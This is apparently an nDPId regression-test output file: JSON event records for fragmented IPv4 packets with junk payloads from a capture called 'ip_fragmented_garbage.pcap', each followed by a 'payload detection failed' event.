+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994039,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7524,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7525,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994065,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7526,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994077,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7527,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994090,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7528,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994103,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7529,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994116,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994129,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994143,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994156,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994169,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994215,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994249,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994271,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994282,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994292,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994307,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994320,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994333,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994346,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994359,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994398,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994411,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994451,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994578,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994609,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":994619,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 